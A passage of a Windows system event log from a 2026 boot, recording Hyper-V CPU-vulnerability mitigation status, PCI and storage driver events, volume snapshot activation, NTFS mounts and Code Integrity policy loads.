0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by bcdedit: false\nMitigations enabled: true\nCache flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t165\t\"Hypervisor configured mitigations for CVE-2019-11091, CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports microarchitectural buffer flush: true\nBuffer flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.104\t3\tSecure Kernel started with status STATUS_SUCCESS and flags 82976.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:48.104\t30\tThe firmware reported boot metrics.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.105\t20\t\"The leap second configuration has been updated.\nReason: Leap second data initialized from registry during boot\nLeap seconds enabled: true\nNew leap second count: 0\nOld leap second count: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.165\t16\tIOMMU fault reporting has been initialized.\tInformation\tSystem\tMicrosoft-Windows-HAL\n05.09.2026 08:28:48.306\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.314\t1\t[ROOT] (Bus 0x0000): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.315\t1\t[ROOT] (Bus 0x0000): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.317\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.471\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x1f.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.491\t1\t[PDO] (0x0000.0x1f.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.499\t1\t[PDO] (0x0000.0x06.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[PDO] (0x0000.0x06.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.534\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.596\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.604\t1\t[PDO] (0x0001.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.631\t1\t[PDO] (0x0001.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.632\t576\t\"Storport storage D3 setting.                    \nAdapter Guid: {946c1900-e3df-11f0-b74d-806e6f6e6963}                    \nAdapter port number: 4294967295                    \nAdapter hardware id: PCI\\VEN_1E49&DEV_1081&SUBSYS_10811E49&REV_03                    \nMiniport driver name: stornvme                    \nAdapter interface type: 5                    \nFlags: 4535619747840                    \nStorage D3 allowed: false                    \nACPI DSD property: 1                    \nD3 registry key state: 4294967295                    \nStorage D3 enable: true                    \nDirectFx enable: true\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.671\t527\tThe miniport logged an event.\tWarning\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.690\t513\t\"Host Memory Buffer Allocation for \\Device\\RaidPort0 succeeded.                    \nFailure Reason: None                    \nAllocation Policy: Maximum                    \nAttemped to Allocate: \t0x4000000 bytes                    \nActually Allocated: \t0x4000000 bytes                    \nDevice Minimum: \t0x4000000 bytes                    \nDevice Preferred: \t\t0x4000000 bytes                    \nPolicy Maximum: \t\t0x17875000 bytes\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.704\t567\tThe miniport logged an event.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t552\tStorport Device (Port = 0, Path = 0, Target = 0, Lun = 0) has arrived.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t553\tStorport Device {946c1900-e3df-11f0-b74d-806e6f6e6963} (Port = 0) was rescanned and changes were detected.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.715\t6\tFile System Filter 'FileInfo' (10.0, \u200e2093\u200e-\u200e04\u200e-\u200e02T08:29:43.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.715\t6\tFile System Filter 'Wof' (10.0, \u200e2047\u200e-\u200e07\u200e-\u200e10T20:40:35.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.716\t6\tFile System Filter 'WdFilter' (10.0, \u200e2069\u200e-\u200e10\u200e-\u200e28T18:09:00.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.718\t100\tNTFS global corruption action state is now 0.\tInformation\tMicrosoft-Windows-Ntfs/WHC\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:48.755\t1\t[PDO] (0x0000.0x0a.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.783\t1\t[PDO] (0x0000.0x0a.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.785\t104\t\"Enhanced storage device with Class Disk Device Guid: {00000000-0000-0000-0000-000000000000} entered D0 power state.                    \nDevice type: IEEE1667                    \nDevice state: NoSecurity\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.792\t106\t\"Storage device PDO capabilities discovered on Class Disk Device Guid: {00000000-0000-0000-0000-000000000000}.                    \nDevice PDO Capabilities: INC_512 set\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.799\t549\t\"This is the first instance of the error seen during this time period                     \non Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {00000000-0000-0000-0000-000000000000}:                     \nThe request opcode was 0x1A and completed with SrbStatus 0x6 and ScsiStatus 0x2.                     \nThe sense code was (0x5,0x24,0x0).                     \nThe io latency was 1 ms.\"\tError\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.804\t1006\tFor internal use only.\tInformation\tMicrosoft-Windows-Partition/Diagnostic\tMicrosoft-Windows-Partition\n05.09.2026 08:28:48.806\t207\t\"Physical disk {d10f1580-d0d5-c67f-846a-8d6faaba20dc} arrived.                  \nPool Id: {00000000-0000-0000-0000-000000000000}                  \nDrive Number: 0                  \nDrive Manufacturer: NULL                  \nDrive Model Number: YMTC PC41Q-1TB-B                  \nDrive Serial Number: A428_B717_BC98_000A.\"\tInformation\tMicrosoft-Windows-StorageSpaces-Driver/Operational\tMicrosoft-Windows-StorageSpaces-Driver\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 1 disk 0 offset 1048576.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 2 disk 0 offset 210763776.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 3 disk 0 offset 227540992.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 4 disk 0 offset 322350088192.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 5 disk 0 offset 995218161664.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 6 disk 0 offset 996291903488.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 7 disk 0 offset 1023135449088.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.811\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.819\t101\tInitialized VolumeCacheMap for device guid: {23606dfe-da07-4ad7-8798-8deaced0a66e}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:48.865\t103\t\"Activation of discovered snapshots began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebadda-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T13:17:39.962Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebc0bd-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T22:36:10.189Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t107\t\"Reading of a snapshot diff area's metadata began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t108\t\"Reading of a snapshot diff area's metadata completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nCount of 1MB Reads: 4\nCount of 16KB Reads: 2\nDiff Area Metadata Size: 4210688 Bytes\nTotal Data Read: 4227072 Bytes\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.  The size of the diff area metadata may be less than the total number of bytes read if the diff area is discontiguous on disk.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e04T13:17:42.364Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t104\t\"Activation of discovered snapshots completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nTotal Number of Snapshots Found: 3\nNumber of Snapshots Marked for Delete: 0\nNumber of Visible Snapshots Found: 0\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  Some snapshots may be marked 'visible', meaning they were exposed as a local volume or file share.  Some detected snapshots may be marked 'deleted', meaning they are no longer available for use and their diff area space will be reclaimed when all older snapshots are deleted.  Look for instances of event 106 to see each snapshot that was discovered and whether it was 'visible' or 'deleted'.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.908\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.909\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.915\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.916\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.917\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:49.191\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: true\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 374 ms\n           Longest stage: 8. Duration 212 ms (57% of the total)\n           Second longest stage: 4. Duration 86 ms (23% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 28359\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t98\tVolume C: (\\Device\\HarddiskVolume3) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 3171\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 71\n           Most populated bin's minimum length: 7.51 MB\n           Most populated bin's maximum length: 7.75 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.192\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.263\t3084\tCode Integrity will enable WHQL driver enforcement for this boot session.  Settings 0x0. Exemption 1.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {60fd87f8-4593-44a0-91b0-2e0da022f248} Microsoft Windows Endpoint Security Policy. id 10.0.29526.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {60fd87f8-4593-44a0-91b0-2e0da022f248}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {784c4414-79f4-4c32-a6a5-f0fb42a51d0d} Microsoft Windows Cross Certificates for Code Integrity Exceptions Audit Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {784c4414-79f4-4c32-a6a5-f0fb42a51d0d}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {8f9cb695-5d48-48d6-a329-7202b44607e3} Microsoft Windows Cross Certificates for Code Integrity Exceptions Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {8f9cb695-5d48-48d6-a329-7202b44607e3}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {a072029f-588b-4b5e-b7f9-05aad67df687} Microsoft Windows Virtualization Based Security Policy. id 10.0.29644.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.265\t3116\tSignature information for Code Integrity policy ID {a072029f-588b-4b5e-b7f9-05aad67df687}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.274\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t5\t\"WHEA successfully initialized.\n   6 error sources are active\n   Error record format version is 10.\"\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.306\t6\tFile System Filter 'FileCrypt' (10.0, \u200e2075\u200e-\u200e09\u200e-\u200e01T05:07:07.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.313\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 32610\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 